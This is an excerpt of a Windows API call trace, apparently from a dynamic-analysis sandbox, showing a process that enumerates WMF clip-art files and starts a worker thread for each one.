	[0212.969] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5636ddf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x864, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0106572.WMF", cAlternateFileName="")) returned 1
	[0212.969] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0212.969] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc7f690, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1818
	[0212.972] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0212.973] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e8eef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xd04, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0106816.WMF", cAlternateFileName="")) returned 1
	[0212.973] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0212.973] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc82d70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x181c
	[0212.976] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0212.976] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5636ddf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x35d8, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0106958.WMF", cAlternateFileName="")) returned 1
	[0212.976] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0212.977] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc86450, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1820
	[0212.979] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0212.980] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e8eef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xbcc, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0107024.WMF", cAlternateFileName="")) returned 1
	[0212.980] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0212.980] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc89b30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1824
	[0212.983] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0212.983] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5636ddf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1dd0, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0107026.WMF", cAlternateFileName="")) returned 1
	[0212.983] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0212.984] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc8d210, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1828
	[0213.313] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0213.314] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e8eef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2358, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0107042.WMF", cAlternateFileName="")) returned 1
	[0213.314] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0213.315] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc15170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x182c
	[0213.317] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0213.317] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e8eef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3734, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0107090.WMF", cAlternateFileName="")) returned 1
	[0213.317] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0213.318] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc18850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1830
	[0213.321] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0213.321] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e8eef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x69cc, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0107130.WMF", cAlternateFileName="")) returned 1
	[0213.321] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0213.322] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1834
	[0213.324] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0213.324] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e8eef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xbcfc, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0107132.WMF", cAlternateFileName="")) returned 1
	[0213.325] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0213.325] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc22cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1838
	[0213.327] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0213.328] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5636ddf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xbd04, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0107134.WMF", cAlternateFileName="")) returned 1
	[0213.328] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0213.328] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc263d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x183c
	[0213.331] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0213.332] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e8eef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4330, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0107138.WMF", cAlternateFileName="")) returned 1
	[0213.332] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0213.333] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc29ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1840
	[0213.335] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0213.335] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e8eef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3a94, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0107146.WMF", cAlternateFileName="")) returned 1
	[0213.335] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0213.336] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc2d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1844
	[0213.338] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0213.338] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5636ddf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4ea8, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0107148.WMF", cAlternateFileName="")) returned 1
	[0213.338] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0213.339] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc30870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1848
	[0213.341] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0213.341] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5636ddf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3490, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0107150.WMF", cAlternateFileName="")) returned 1
	[0213.342] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0213.342] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc3e3f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x184c
	[0213.344] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0213.345] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5636ddf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x5804, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0107152.WMF", cAlternateFileName="")) returned 1
	[0213.345] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0213.346] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc41ad0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1850
	[0213.916] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0213.917] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5636ddf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x571c, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0107154.WMF", cAlternateFileName="")) returned 1
	[0213.917] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0213.918] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc451b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1854
	[0213.919] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0213.920] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5636ddf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x614c, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0107158.WMF", cAlternateFileName="")) returned 1
	[0213.920] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0213.921] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc4f650, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1858
	[0213.923] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0213.924] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5636ddf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3ee4, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0107182.WMF", cAlternateFileName="")) returned 1
	[0213.924] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0213.925] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc56410, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x185c
	[0213.927] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0213.928] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e8eef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x11b8, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0107188.WMF", cAlternateFileName="")) returned 1
	[0213.928] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0213.929] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc5d1d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1860
	[0213.932] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0213.932] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5636ddf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x26f0, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0107192.WMF", cAlternateFileName="")) returned 1
	[0213.932] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0213.933] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc908f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1864
	[0213.935] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0213.936] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5636ddf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4ef4, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0107254.WMF", cAlternateFileName="")) returned 1
	[0213.936] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0213.937] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc93fd0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1868
	[0213.939] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0213.940] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5636ddf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2168, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0107258.WMF", cAlternateFileName="")) returned 1
	[0213.940] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0213.941] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc976b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x186c
	[0213.942] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0213.943] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e8eef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1f3c, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0107262.WMF", cAlternateFileName="")) returned 1
	[0213.943] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0213.944] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc9ad90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1870
	[0213.946] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0213.946] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65eb5050, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1498, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0107264.WMF", cAlternateFileName="")) returned 1
	[0213.946] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0213.947] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc9e470, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1874
	[0213.950] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0213.952] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65eb5050, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x16ec, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0107266.WMF", cAlternateFileName="")) returned 1
	[0213.952] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0213.953] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fca1b50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x187c
	[0216.123] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0216.124] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5636ddf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2b64, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0107280.WMF", cAlternateFileName="")) returned 1
	[0216.124] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0216.125] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc15170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1878
	[0216.127] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0216.128] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65eb5050, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3734, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0107282.WMF", cAlternateFileName="")) returned 1
	[0216.128] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0216.129] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc18850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1884
	[0216.131] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
